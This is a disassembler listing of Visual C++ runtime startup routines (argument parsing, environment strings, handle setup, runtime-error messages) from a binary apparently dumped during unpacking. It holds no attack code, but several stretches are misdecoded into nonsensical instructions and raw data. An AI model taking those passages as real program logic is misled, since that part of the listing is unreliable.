seg000:0041C7D5j ; seg000:0041C7D8j mov al, [esi+1] inc esi cmp al, 22h jz short loc_41C7DA test al, al jz short loc_41C7DA movzx eax, al push eax call sub_41E68C test eax, eax pop ecx jz short loc_41C7BD inc esi jmp short loc_41C7BD ; --------------------------------------------------------------------------- loc_41C7DA: ; CODE XREF: seg000:0041C7C3j ; seg000:0041C7C7j cmp byte ptr [esi], 22h jnz short loc_41C7EC loc_41C7DF: ; CODE XREF: seg000:0041C7F4j inc esi jmp short loc_41C7EC ; --------------------------------------------------------------------------- loc_41C7E2: ; CODE XREF: seg000:0041C7BBj cmp al, 20h jbe short loc_41C7EC loc_41C7E6: ; CODE XREF: seg000:0041C7EAj inc esi cmp byte ptr [esi], 20h ja short loc_41C7E6 loc_41C7EC: ; CODE XREF: seg000:0041C7DDj ; seg000:0041C7E0j ... mov al, [esi] test al, al jz short loc_41C7F6 cmp al, 20h jbe short loc_41C7DF loc_41C7F6: ; CODE XREF: seg000:0041C7F0j mov eax, esi pop esi retn ; =============== S U B R O U T I N E ======================================= sub_41C7FA proc near ; CODE XREF: seg000:00417B66p push ebx xor ebx, ebx cmp ds:dword_46AAEC, ebx push esi push edi jnz short loc_41C80C call sub_41C364 loc_41C80C: ; CODE XREF: sub_41C7FA+Bj mov esi, ds:dword_4694C0 xor edi, edi loc_41C814: ; CODE XREF: sub_41C7FA+30j mov al, [esi] cmp al, bl jz short loc_41C82C cmp al, 3Dh jz short loc_41C81F inc edi loc_41C81F: ; CODE XREF: sub_41C7FA+22j push esi call sub_415CD0 pop ecx lea esi, [esi+eax+1] jmp short loc_41C814 ; --------------------------------------------------------------------------- loc_41C82C: ; CODE XREF: sub_41C7FA+1Ej lea eax, ds:4[edi*4] push eax call sub_415DA9 mov esi, eax pop ecx cmp esi, ebx mov ds:dword_46949C, esi jnz short loc_41C84E push 9 call sub_417BCE pop ecx loc_41C84E: ; CODE XREF: sub_41C7FA+4Aj mov edi, ds:dword_4694C0 cmp [edi], bl jz short loc_41C891 push ebp loc_41C859: ; CODE XREF: sub_41C7FA+94j push edi call sub_415CD0 mov ebp, eax pop ecx inc ebp cmp byte ptr [edi], 3Dh jz short loc_41C88A push ebp call sub_415DA9 cmp eax, ebx pop ecx mov [esi], eax jnz short loc_41C87D push 9 call sub_417BCE pop ecx loc_41C87D: ; CODE XREF: sub_41C7FA+79j push edi push dword ptr [esi] call sub_415BE0 pop ecx add esi, 4 pop ecx loc_41C88A: ; CODE XREF: sub_41C7FA+6Cj add edi, ebp cmp [edi], bl jnz short loc_41C859 pop ebp loc_41C891: ; CODE XREF: sub_41C7FA+5Cj push ds:dword_4694C0 call sub_415E1D pop ecx mov ds:dword_4694C0, ebx mov [esi], ebx pop edi pop esi mov ds:dword_46AAE8, 1 pop ebx retn sub_41C7FA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C8B3 proc near ; CODE XREF: seg000:00417B61p var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp ds:dword_46AAEC, ebx push esi push edi jnz short loc_41C8CA call sub_41C364 loc_41C8CA: ; CODE XREF: sub_41C8B3+10j mov esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" push 104h push esi push ebx call near ptr 0CF0004h imul esp, ds:dword_46AAE4[ecx], -77h xor eax, offset off_4694AC mov edi, esi cmp [eax], bl jz short loc_41C8EF mov edi, eax loc_41C8EF: ; CODE XREF: sub_41C8B3+38j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push ebx push ebx push edi call sub_41C94C mov eax, [ebp+var_8] mov ecx, [ebp+var_4] lea eax, [eax+ecx*4] push eax call sub_415DA9 mov esi, eax add esp, 18h cmp esi, ebx jnz short loc_41C91F push 8 call sub_417BCE pop ecx loc_41C91F: ; CODE XREF: sub_41C8B3+62j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax mov eax, [ebp+var_4] lea eax, [esi+eax*4] push eax push esi push edi call sub_41C94C mov eax, [ebp+var_4] add esp, 14h dec eax mov ds:dword_469494, esi pop edi pop esi mov ds:dword_469490, eax pop ebx leave retn sub_41C8B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C94C proc near ; CODE XREF: sub_41C8B3+47p ; sub_41C8B3+7Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp mov ecx, [ebp+arg_10] mov eax, [ebp+arg_C] push ebx push esi and dword ptr [ecx], 0 mov esi, [ebp+arg_8] push edi mov edi, [ebp+arg_4] mov dword ptr [eax], 1 mov eax, [ebp+arg_0] test edi, edi jz short loc_41C976 mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_41C976: ; CODE XREF: sub_41C94C+20j cmp byte ptr [eax], 22h jnz short loc_41C9BF loc_41C97B: ; CODE XREF: sub_41C94C+58j ; sub_41C94C+5Fj mov dl, [eax+1] inc eax cmp dl, 22h jz short loc_41C9AD test dl, dl jz short loc_41C9AD movzx edx, dl test ds:byte_46A9C1[edx], 4 jz short loc_41C9A0 inc dword ptr [ecx] test esi, esi jz short loc_41C9A0 mov dl, [eax] mov [esi], dl inc esi inc eax loc_41C9A0: ; CODE XREF: sub_41C94C+46j ; sub_41C94C+4Cj inc dword ptr [ecx] test esi, esi jz short loc_41C97B mov dl, [eax] mov [esi], dl inc esi jmp short loc_41C97B ; --------------------------------------------------------------------------- loc_41C9AD: ; CODE XREF: sub_41C94C+36j ; sub_41C94C+3Aj inc dword ptr [ecx] test esi, esi jz short loc_41C9B7 and byte ptr [esi], 0 inc esi loc_41C9B7: ; CODE XREF: sub_41C94C+65j cmp byte ptr [eax], 22h jnz short loc_41CA02 inc eax jmp short loc_41CA02 ; --------------------------------------------------------------------------- loc_41C9BF: ; CODE XREF: sub_41C94C+2Dj ; sub_41C94C+A5j inc dword ptr [ecx] test esi, esi jz short loc_41C9CA mov dl, [eax] mov [esi], dl inc esi loc_41C9CA: ; CODE XREF: sub_41C94C+77j mov dl, [eax] inc eax movzx ebx, dl test ds:byte_46A9C1[ebx], 4 jz short loc_41C9E5 inc dword ptr [ecx] test esi, esi jz short loc_41C9E4 mov bl, [eax] mov [esi], bl inc esi loc_41C9E4: ; CODE XREF: sub_41C94C+91j inc eax loc_41C9E5: ; CODE XREF: sub_41C94C+8Bj cmp dl, 20h jz short loc_41C9F3 test dl, dl jz short loc_41C9F7 cmp dl, 9 jnz short loc_41C9BF loc_41C9F3: ; CODE XREF: sub_41C94C+9Cj test dl, dl jnz short loc_41C9FA loc_41C9F7: ; CODE XREF: sub_41C94C+A0j dec eax jmp short loc_41CA02 ; --------------------------------------------------------------------------- loc_41C9FA: ; CODE XREF: sub_41C94C+A9j test esi, esi jz short loc_41CA02 and byte ptr [esi-1], 0 loc_41CA02: ; CODE XREF: sub_41C94C+6Ej ; sub_41C94C+71j ... and [ebp+arg_10], 0 loc_41CA06: ; CODE XREF: sub_41C94C+19Ej cmp byte ptr [eax], 0 jz loc_41CAEF loc_41CA0F: ; CODE XREF: sub_41C94C+D0j mov dl, [eax] cmp dl, 20h jz short loc_41CA1B cmp dl, 9 jnz short loc_41CA1E loc_41CA1B: ; CODE XREF: sub_41C94C+C8j inc eax jmp short loc_41CA0F ; --------------------------------------------------------------------------- loc_41CA1E: ; CODE XREF: sub_41C94C+CDj cmp byte ptr [eax], 0 jz loc_41CAEF test edi, edi jz short loc_41CA33 mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_41CA33: ; CODE XREF: sub_41C94C+DDj mov edx, [ebp+arg_C] inc dword ptr [edx] loc_41CA38: ; CODE XREF: sub_41C94C+18Fj mov [ebp+arg_0], 1 xor ebx, ebx loc_41CA41: ; CODE XREF: sub_41C94C+FCj cmp byte ptr [eax], 5Ch jnz short loc_41CA4A inc eax inc ebx jmp short loc_41CA41 ; --------------------------------------------------------------------------- loc_41CA4A: ; CODE XREF: sub_41C94C+F8j cmp byte ptr [eax], 22h jnz short loc_41CA7B test bl, 1 jnz short loc_41CA79 xor edi, edi cmp [ebp+arg_10], edi jz short loc_41CA68 cmp byte ptr [eax+1], 22h lea edx, [eax+1] jnz short loc_41CA68 mov eax, edx jmp short loc_41CA6B ; --------------------------------------------------------------------------- loc_41CA68: ; CODE XREF: sub_41C94C+10Dj ; sub_41C94C+116j mov [ebp+arg_0], edi loc_41CA6B: ; CODE XREF: sub_41C94C+11Aj mov edi, [ebp+arg_4] xor edx, edx cmp [ebp+arg_10], edx setz dl mov [ebp+arg_10], edx loc_41CA79: ; CODE XREF: sub_41C94C+106j shr ebx, 1 loc_41CA7B: ; CODE XREF: sub_41C94C+101j mov edx, ebx dec ebx test edx, edx jz short loc_41CA90 inc ebx loc_41CA83: ; CODE XREF: sub_41C94C+142j test esi, esi jz short loc_41CA8B mov byte ptr [esi], 5Ch inc esi loc_41CA8B: ; CODE XREF: sub_41C94C+139j inc dword ptr [ecx] dec ebx jnz short loc_41CA83 loc_41CA90: ; CODE XREF: sub_41C94C+134j mov dl, [eax] test dl, dl jz short loc_41CAE0 cmp [ebp+arg_10], 0 jnz short loc_41CAA6 cmp dl, 20h jz short loc_41CAE0 cmp dl, 9 jz short loc_41CAE0 loc_41CAA6: ; CODE XREF: sub_41C94C+14Ej cmp [ebp+arg_0], 0 jz short loc_41CADA test esi, esi jz short loc_41CAC9 movzx ebx, dl test ds:byte_46A9C1[ebx], 4 jz short loc_41CAC2 mov [esi], dl inc esi inc eax inc dword ptr [ecx] loc_41CAC2: ; CODE XREF: sub_41C94C+16Ej mov dl, [eax] mov [esi], dl inc esi jmp short loc_41CAD8 ; --------------------------------------------------------------------------- loc_41CAC9: ; CODE XREF: sub_41C94C+162j movzx edx, dl test ds:byte_46A9C1[edx], 4 jz short loc_41CAD8 inc eax inc dword ptr [ecx] loc_41CAD8: ; CODE XREF: sub_41C94C+17Bj ; sub_41C94C+187j inc dword ptr [ecx] loc_41CADA: ; CODE XREF: sub_41C94C+15Ej inc eax jmp loc_41CA38 ; --------------------------------------------------------------------------- loc_41CAE0: ; CODE XREF: sub_41C94C+148j ; sub_41C94C+153j ... test esi, esi jz short loc_41CAE8 and byte ptr [esi], 0 inc esi loc_41CAE8: ; CODE XREF: sub_41C94C+196j inc dword ptr [ecx] jmp loc_41CA06 ; --------------------------------------------------------------------------- loc_41CAEF: ; CODE XREF: sub_41C94C+BDj ; sub_41C94C+D5j test edi, edi jz short loc_41CAF6 and dword ptr [edi], 0 loc_41CAF6: ; CODE XREF: sub_41C94C+1A5j mov eax, [ebp+arg_C] pop edi pop esi pop ebx inc dword ptr [eax] pop ebp retn sub_41C94C endp ; =============== S U B R O U T I N E ======================================= sub_41CB00 proc near ; CODE XREF: seg000:00417B57p var_8 = dword ptr -8 var_4 = dword ptr -4 push ecx push ecx mov eax, ds:dword_46962C push ebx push ebp mov ebp, ds:dword_42103C push esi push edi xor ebx, ebx xor esi, esi xor edi, edi cmp eax, ebx jnz short loc_41CB4E call ebp ; GetEnvironmentStringsW mov esi, eax cmp esi, ebx jz short loc_41CB2F mov ds:dword_46962C, 1 jmp short loc_41CB57 ; --------------------------------------------------------------------------- loc_41CB2F: ; CODE XREF: sub_41CB00+21j call ds:dword_421040 ; GetEnvironmentStringsA mov edi, eax cmp edi, ebx jz loc_41CC29 mov ds:dword_46962C, 2 jmp loc_41CBDD ; --------------------------------------------------------------------------- loc_41CB4E: ; CODE XREF: sub_41CB00+19j cmp eax, 1 jnz loc_41CBD8 loc_41CB57: ; CODE XREF: sub_41CB00+2Dj cmp esi, ebx jnz short loc_41CB67 call ebp ; GetEnvironmentStringsW mov esi, eax cmp esi, ebx jz loc_41CC29 loc_41CB67: ; CODE XREF: sub_41CB00+59j cmp [esi], bx mov eax, esi jz short loc_41CB7C loc_41CB6E: ; CODE XREF: sub_41CB00+73j ; sub_41CB00+7Aj inc eax inc eax cmp [eax], bx jnz short loc_41CB6E inc eax inc eax cmp [eax], bx jnz short loc_41CB6E loc_41CB7C: ; CODE XREF: sub_41CB00+6Cj sub eax, esi mov edi, ds:dword_421138 sar eax, 1 push ebx push ebx inc eax push ebx push ebx push eax push esi push ebx push ebx mov [esp+38h+var_4], eax call edi ; WideCharToMultiByte mov ebp, eax cmp ebp, ebx jz short loc_41CBCD push ebp call sub_415DA9 cmp eax, ebx pop ecx mov [esp+18h+var_8], eax jz short loc_41CBCD push ebx push ebx push ebp push eax push [esp+28h+var_4] push esi push ebx push ebx call edi ; WideCharToMultiByte test eax, eax jnz short loc_41CBC9 push [esp+18h+var_8] call sub_415E1D pop ecx mov [esp+18h+var_8], ebx loc_41CBC9: ; CODE XREF: sub_41CB00+B9j mov ebx, [esp+18h+var_8] loc_41CBCD: ; CODE XREF: sub_41CB00+99j ; sub_41CB00+A8j push esi call ds:dword_421044 ; FreeEnvironmentStringsW mov eax, ebx jmp short loc_41CC2B ; --------------------------------------------------------------------------- loc_41CBD8: ; CODE XREF: sub_41CB00+51j cmp eax, 2 jnz short loc_41CC29 loc_41CBDD: ; CODE XREF: sub_41CB00+49j cmp edi, ebx jnz short loc_41CBED call ds:dword_421040 ; GetEnvironmentStringsA mov edi, eax cmp edi, ebx jz short loc_41CC29 loc_41CBED: ; CODE XREF: sub_41CB00+DFj cmp [edi], bl mov eax, edi jz short loc_41CBFD loc_41CBF3: ; CODE XREF: sub_41CB00+F6j ; sub_41CB00+FBj inc eax cmp [eax], bl jnz short loc_41CBF3 inc eax cmp [eax], bl jnz short loc_41CBF3 loc_41CBFD: ; CODE XREF: sub_41CB00+F1j sub eax, edi inc eax mov ebp, eax push ebp call sub_415DA9 mov esi, eax pop ecx cmp esi, ebx jnz short loc_41CC13 xor esi, esi jmp short loc_41CC1E ; --------------------------------------------------------------------------- loc_41CC13: ; CODE XREF: sub_41CB00+10Dj push ebp push edi push esi call sub_4155B0 add esp, 0Ch loc_41CC1E: ; CODE XREF: sub_41CB00+111j push edi call near ptr 3D0000h movsd mov eax, esi jmp short loc_41CC2B ; --------------------------------------------------------------------------- loc_41CC29: ; CODE XREF: sub_41CB00+39j ; sub_41CB00+61j ... xor eax, eax loc_41CC2B: ; CODE XREF: sub_41CB00+D6j ; sub_41CB00+127j pop edi pop esi pop ebp pop ebx pop ecx pop ecx retn sub_41CB00 endp ; --------------------------------------------------------------------------- loc_41CC32: ; CODE XREF: seg000:00417B47p sub esp, 44h push ebx push ebp push esi push edi push 100h call sub_415DA9 mov esi, eax pop ecx test esi, esi jnz short loc_41CC52 push 1Bh call sub_417BCE pop ecx loc_41CC52: ; CODE XREF: seg000:0041CC48j mov ds:dword_46A7A0, esi mov ds:dword_46A8A0, 20h lea eax, [esi+100h] loc_41CC68: ; CODE XREF: seg000:0041CC84j cmp esi, eax jnb short loc_41CC86 and byte ptr [esi+4], 0 or dword ptr [esi], 0FFFFFFFFh mov byte ptr [esi+5], 0Ah mov eax, ds:dword_46A7A0 add esi, 8 add eax, 100h jmp short loc_41CC68 ; --------------------------------------------------------------------------- loc_41CC86: ; CODE XREF: seg000:0041CC6Aj lea eax, [esp+10h] push eax call near ptr 0BF0004h xor [esi-7Dh], ah jl short loc_41CCB9 inc edx add [edi], cl test al, ch ; --------------------------------------------------------------------------- dw 0 dd 24448B00h, 0FC08544h, 0B984h, 8D308B00h, 0B80468h, 3B000008h dd 2E1C8DF0h db 7Ch ; --------------------------------------------------------------------------- loc_41CCB9: ; CODE XREF: seg000:0041CC93j add cl, [ebx-5FCAC610h] test al, 46h add [ebp+52h], bh mov edi, offset dword_46A7A4 loc_41CCC9: ; CODE XREF: seg000:0041CD0Cj push 100h call sub_415DA9 test eax, eax pop ecx jz short loc_41CD10 add ds:dword_46A8A0, 20h mov [edi], eax lea ecx, [eax+100h] loc_41CCE7: ; CODE XREF: seg000:0041CD01j cmp eax, ecx jnb short loc_41CD03 and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov ecx, [edi] add eax, 8 add ecx, 100h jmp short loc_41CCE7 ; --------------------------------------------------------------------------- loc_41CD03: ; CODE XREF: seg000:0041CCE9j add edi, 4 cmp ds:dword_46A8A0, esi jl short loc_41CCC9 jmp short loc_41CD16 ; --------------------------------------------------------------------------- loc_41CD10: ; CODE XREF: seg000:0041CCD6j mov esi, ds:dword_46A8A0 loc_41CD16: ; CODE XREF: seg000:0041CD0Ej xor edi, edi test esi, esi jle short loc_41CD62 loc_41CD1C: ; CODE XREF: seg000:0041CD60j mov eax, [ebx] cmp eax, 0FFFFFFFFh jz short loc_41CD59 mov cl, [ebp+0] test cl, 1 jz short loc_41CD59 test cl, 8 jnz short near ptr loc_41CD36+5 push eax call near ptr 3D0000h loc_41CD36: ; CODE XREF: seg000:0041CD2Ej mov [ebp-74E18B40h], eax mov dword ptr [ebx+5F8C1CFh], 8B1FE183h add al, 85h mov al, ds:8D0046A7h add al, 0C8h mov ecx, [ebx] mov [eax], ecx mov cl, [ebp+0] mov [eax+4], cl loc_41CD59: ; CODE XREF: seg000:0041CD21j ; seg000:0041CD29j inc edi inc ebp add ebx, 4 cmp edi, esi jl short loc_41CD1C loc_41CD62: ; CODE XREF: seg000:0041CD1Aj xor ebx, ebx loc_41CD64: ; CODE XREF: seg000:0041CDC7j mov eax, ds:dword_46A7A0 cmp dword ptr [eax+ebx*8], 0FFFFFFFFh lea esi, [eax+ebx*8] jnz short loc_41CDBF test ebx, ebx mov byte ptr [esi+4], 81h jnz short loc_41CD7F push 0FFFFFFF6h pop eax jmp short loc_41CD89 ; --------------------------------------------------------------------------- loc_41CD7F: ; CODE XREF: seg000:0041CD78j mov eax, ebx dec eax neg eax sbb eax, eax add eax, 0FFFFFFF5h loc_41CD89: ; CODE XREF: seg000:0041CD7Dj push eax call near ptr 0C10004h fisttp word ptr [ebx-7C08h] jz short loc_41CDAE push edi call near ptr 0C30004h xchg eax, ebx test eax, eax jz short loc_41CDAE and eax, 0FFh mov [esi], edi cmp eax, 2 jnz short loc_41CDB4 loc_41CDAE: ; CODE XREF: seg000:0041CD95j ; seg000:0041CDA0j or byte ptr [esi+4], 40h jmp short loc_41CDC3 ; --------------------------------------------------------------------------- loc_41CDB4: ; CODE XREF: seg000:0041CDACj cmp eax, 3 jnz short loc_41CDC3 or byte ptr [esi+4], 8 jmp short loc_41CDC3 ; --------------------------------------------------------------------------- loc_41CDBF: ; CODE XREF: seg000:0041CD70j or byte ptr [esi+4], 80h loc_41CDC3: ; CODE XREF: seg000:0041CDB2j ; seg000:0041CDB7j ... inc ebx cmp ebx, 3 jl short loc_41CD64 push ds:dword_46A8A0 call near ptr 0C50004h dec eax pop edi pop esi pop ebp pop ebx add esp, 44h retn ; --------------------------------------------------------------------------- align 10h push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CDE8 proc near ; DATA XREF: seg000:00417AE2o ; sub_41A67A+Ao ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp cld mov ebx, [ebp+arg_4] mov eax, [ebp+arg_0] test dword ptr [eax+4], 6 jnz loc_41CE88 mov [ebp+var_8], eax mov eax, [ebp+arg_8] mov [ebp+var_4], eax lea eax, [ebp+var_8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_41CE1B: ; CODE XREF: sub_41CDE8+90j cmp esi, 0FFFFFFFFh jz short loc_41CE81 lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_41CE6F push esi push ebp lea ebp, [ebx+10h] call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+arg_4] or eax, eax jz short loc_41CE6F js short loc_41CE7A mov edi, [ebx+8] push ebx call sub_416348 add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_41638A add esp, 8 lea ecx, [esi+esi*2] push 1 mov eax, [edi+ecx*4+8] call sub_41641E mov eax, [edi+ecx*4] mov [ebx+0Ch], eax call dword ptr [edi+ecx*4+8] loc_41CE6F: ; CODE XREF: sub_41CDE8+40j ; sub_41CDE8+52j mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp short loc_41CE1B ; --------------------------------------------------------------------------- loc_41CE7A: ; CODE XREF: sub_41CDE8+54j mov eax, 0 jmp short loc_41CE9D ; --------------------------------------------------------------------------- loc_41CE81: ; CODE XREF: sub_41CDE8+36j mov eax, 1 jmp short loc_41CE9D ; --------------------------------------------------------------------------- loc_41CE88: ; CODE XREF: sub_41CDE8+18j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_41638A add esp, 8 pop ebp mov eax, 1 loc_41CE9D: ; CODE XREF: sub_41CDE8+97j ; sub_41CDE8+9Ej pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41CDE8 endp ; --------------------------------------------------------------------------- push ebp mov ecx, [esp+8] mov ebp, [ecx] mov eax, [ecx+1Ch] push eax mov eax, [ecx+18h] push eax call sub_41638A add esp, 8 pop ebp retn 4 ; =============== S U B R O U T I N E ======================================= sub_41CEC0 proc near ; CODE XREF: sub_417BCE+9p ; sub_417BF3+9p mov eax, ds:dword_4694C8 cmp eax, 1 jz short loc_41CED7 test eax, eax jnz short locret_41CEF8 cmp ds:dword_437D44, 1 jnz short locret_41CEF8 loc_41CED7: ; CODE XREF: sub_41CEC0+8j push 0FCh call sub_41CEF9 mov eax, ds:dword_469630 pop ecx test eax, eax jz short loc_41CEED call eax loc_41CEED: ; CODE XREF: sub_41CEC0+29j push 0FFh loc_41CEF2: ; CODE XREF: sub_41CEF9+72j call sub_41CEF9 pop ecx locret_41CEF8: ; CODE XREF: sub_41CEC0+Cj ; sub_41CEC0+15j retn sub_41CEC0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CEF9 proc near ; CODE XREF: sub_417BCE+12p ; sub_417BF3+12p ... var_1A4 = byte ptr -1A4h var_A0 = byte ptr -0A0h arg_0 = dword ptr 8 arg_B = byte ptr 13h push ebp mov ebp, esp sub esp, 1A4h mov edx, [ebp+arg_0] xor ecx, ecx mov eax, offset dword_4383B8 loc_41CF0C: ; CODE XREF: sub_41CEF9+20j cmp edx, [eax] jz short loc_41CF1B add eax, 8 inc ecx cmp eax, offset off_438448 jl short loc_41CF0C loc_41CF1B: ; CODE XREF: sub_41CEF9+15j push esi mov esi, ecx shl esi, 3 cmp edx, ds:dword_4383B8[esi] jnz loc_41D049 mov eax, ds:dword_4694C8 cmp eax, 1 jz loc_41D023 test eax, eax jnz short loc_41CF4C cmp ds:dword_437D44, 1 jz loc_41D023 loc_41CF4C: ; CODE XREF: sub_41CEF9+44j cmp edx, 0FCh jz loc_41D049 lea eax, [ebp+var_1A4] push 104h push eax push 0 call near ptr 3D0000h loop loc_41CEF2 sal [ebp+arg_B], 8Dh test [esi+edi*8-1], ebx jmp fword ptr [eax+64h] ; --------------------------------------------------------------------------- sbb eax, [edx+0] push eax call sub_415BE0 pop ecx pop ecx lea eax, [ebp+var_1A4] push edi push eax lea edi, [ebp+var_1A4] call sub_415CD0 inc eax pop ecx cmp eax, 3Ch jbe short loc_41CFC6 lea eax, [ebp+var_1A4] push eax call sub_415CD0 mov edi, eax lea eax, [ebp+var_1A4] sub eax, 3Bh push 3 add edi, eax push offset a___ ; "..." push edi call sub_416D20 add esp, 10h loc_41CFC6: ; CODE XREF: sub_41CEF9+A2j lea eax, [ebp+var_A0] push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: " push eax call sub_415BE0 lea eax, [ebp+var_A0] push edi push eax call sub_415BF0 lea eax, [ebp+var_A0] push offset asc_421B40 ; "\n\n" push eax call sub_415BF0 push ds:off_4383BC[esi] lea eax, [ebp+var_A0] push eax call sub_415BF0 push 12010h lea eax, [ebp+var_A0] push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library" push eax call sub_41E6CE add esp, 2Ch pop edi jmp short loc_41D049 ; --------------------------------------------------------------------------- loc_41D023: ; CODE XREF: sub_41CEF9+3Cj ; sub_41CEF9+4Dj lea eax, [ebp+arg_0] lea esi, off_4383BC[esi] push 0 push eax push dword ptr [esi] call sub_415CD0 pop ecx push eax push dword ptr [esi] push 0FFFFFFF4h call near ptr 3D0000h mov ecx, 2FB8E850h sti inc ecx loc_41D049: ; CODE XREF: sub_41CEF9+2Ej ; sub_41CEF9+59j ... pop esi leave retn sub_41CEF9 endp ; =============== S U B R O U T I N E ======================================= sub_41D04C proc near ; CODE XREF: sub_417C17+6Cp ; sub_41B890+32p ... arg_0 = dword ptr 4 inc ds:dword_469634 push 1000h call sub_415DA9 pop ecx mov ecx, [esp+arg_0] test eax, eax mov [ecx+8], eax jz short loc_41D075 or dword ptr [ecx+0Ch], 8 mov dword ptr [ecx+18h], 1000h jmp short loc_41D086 ; --------------------------------------------------------------------------- loc_41D075: ; CODE XREF: sub_41D04C+1Aj or dword ptr [ecx+0Ch], 4 lea eax, [ecx+14h] mov [ecx+8], eax mov dword ptr [ecx+18h], 2 loc_41D086: ; CODE XREF: sub_41D04C+27j mov eax, [ecx+8] and dword ptr [ecx+4], 0 mov [ecx], eax retn sub_41D04C endp ; =============== S U B R O U T I N E ======================================= sub_41D090 proc near ; CODE XREF: sub_417C17+61p ; sub_418796+8p arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, ds:dword_46A8A0 jb short loc_41D09F xor eax, eax retn ; --------------------------------------------------------------------------- loc_41D09F: ; CODE XREF: sub_41D090+Aj mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, ds:dword_46A7A0[ecx*4] mov al, [ecx+eax*8+4] and eax, 40h retn sub_41D090 endp ; =============== S U B R O U T I N E ======================================= sub_41D0B6 proc near ; DATA XREF: seg002:00423020o mov eax, ds:dword_46A780 push esi push 14h test eax, eax pop esi jnz short loc_41D0CA mov eax, 200h jmp short loc_41D0D0 ; --------------------------------------------------------------------------- loc_41D0CA: ; CODE XREF: sub_41D0B6+Bj cmp eax, esi jge short loc_41D0D5 mov eax, esi loc_41D0D0: ; CODE XREF: sub_41D0B6+12j mov ds:dword_46A780, eax loc_41D0D5: ; CODE XREF: sub_41D0B6+16j push 4 push eax call sub_41E757 pop ecx mov ds:dword_469760, eax test eax, eax pop ecx jnz short loc_41D109 push 4 push esi mov ds:dword_46A780, esi call sub_41E757 pop ecx mov ds:dword_469760, eax test eax, eax pop ecx jnz short loc_41D109 push 1Ah call sub_417BCE pop ecx loc_41D109: ; CODE XREF: sub_41D0B6+30j ; sub_41D0B6+49j xor ecx, ecx mov eax, offset off_438448 loc_41D110: ; CODE XREF: sub_41D0B6+6Ej mov edx, ds:dword_469760 mov [ecx+edx], eax add eax, 20h add ecx, 4 cmp eax, offset dword_4386C8 jl short loc_41D110 xor edx, edx mov ecx, offset dword_438458 loc_41D12D: ; CODE XREF: sub_41D0B6+A1j mov eax, edx mov esi, edx sar eax, 5 and esi, 1Fh mov eax, ds:dword_46A7A0[eax*4] mov eax, [eax+esi*8] cmp eax, 0FFFFFFFFh jz short loc_41D14A test eax, eax jnz short loc_41D14D loc_41D14A: ; CODE XREF: sub_41D0B6+8Ej or dword ptr [ecx], 0FFFFFFFFh loc_41D14D: ; CODE XREF: sub_41D0B6+92j add ecx, 20h inc edx cmp ecx, offset dword_4384B8 jl short loc_41D12D pop esi retn sub_41D0B6 endp ; =============== S U B R O U T I N E ======================================= sub_41D15B proc near ; DATA XREF: seg002:00423030o ; FUNCTION CHUNK AT 0041E7D4 SIZE 00000058 BYTES call sub_418720 cmp ds:byte_4694B4, 0 jz short locret_41D16E jmp loc_41E7D4 ; --------------------------------------------------------------------------- locret_41D16E: ; CODE XREF: sub_41D15B+Cj retn sub_41D15B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D16F proc near ; CODE XREF: sub_417D2C+2D4p ; sub_417D2C+6B3p arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_0] test eax, eax jnz short loc_41D17B pop ebp retn ; --------------------------------------------------------------------------- loc_41D17B: ; CODE XREF: sub_41D16F+8j cmp ds:dword_469508, 0 jnz short loc_41D196 mov cx, [ebp+arg_4] cmp cx, 0FFh ja short loc_41D1C8 push 1 mov [eax], cl pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_41D196: ; CODE XREF: sub_41D16F+13j lea ecx, [ebp+arg_0] and [ebp+arg_0], 0 push ecx push 0 push ds:dword_437F5C push eax lea eax, [ebp+arg_4] push 1 push eax push 220h push ds:dword_469518 call ds:dword_421138 ; WideCharToMultiByte test eax, eax jz short loc_41D1C8 cmp [ebp+arg_0], 0 jz short loc_41D1D5 loc_41D1C8: ; CODE XREF: sub_41D16F+1Ej ; sub_41D16F+51j mov ds:dword_469474, 2Ah or eax, 0FFFFFFFFh loc_41D1D5: ; CODE XREF: sub_41D16F+57j pop ebp retn sub_41D16F endp ; --------------------------------------------------------------------------- loc_41D1D7: ; CODE XREF: sub_418536+5Ep ; sub_41C1DF+9Ap push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_421B80 push offset sub_41CDE8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push esi push edi mov [ebp-18h], esp mov eax, ds:dword_469638 xor ebx, ebx cmp eax, ebx jnz short loc_41D246 lea eax, [ebp-1Ch] push eax push 1 pop esi push esi push offset dword_421870 push esi call ds:dword_421028 ; GetStringTypeW test 